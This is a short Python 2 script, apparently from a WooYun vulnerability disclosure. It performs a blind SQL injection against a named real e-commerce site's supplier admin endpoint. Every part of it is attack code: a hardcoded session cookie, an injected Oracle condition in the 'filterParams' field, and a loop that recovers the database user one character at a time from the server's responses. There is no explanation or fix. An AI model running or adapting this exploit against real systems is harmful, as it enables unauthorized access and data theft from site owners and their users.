WooYun.org

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',
	   'X-Requested-With': 'XMLHttpRequest',
           'Proxy-Connection':'keep-alive',
	   'Referer': 'http://online.suning.com/console/Service/supplieradmin/customerIndex',
	   'Cookie': 'JSESSIONID=47AED0C9FB5FC3E696D0A60817488B9D',
	   'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36'}
payloads = list(string.ascii_uppercase)
#payloads = list('T')
print 'start to retrive Oracle user:'
user = ''
for i in range(1,7):
    for payload in payloads:
        conn = httplib.HTTPConnection('online.suning.com', timeout=60)
        params = {
            'filterParams': "user_name like '%1%' and ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),%s,1))=%s" % (i, ord(payload)),	
            'page': '1',	
            'rows': '20',
            'sort': 'companyName',
	    'order': 'asc',
	    'customerId':'',
            }
        #print urllib.urlencode(params)
        conn.request(method='POST',
                     url='/console/Service/supplieradmin/pageCustomer',
                     body = urllib.urlencode(params),
                     headers = headers)
        resp = conn.getresponse()
        html_doc = resp.read().decode('utf-8')
        conn.close()
        #print html_doc
        print '.',
        if html_doc.find(u'userName') > 0:  # True
            user += payload
            print '\n[in progress]', user
            break
print '\nOracle user is', user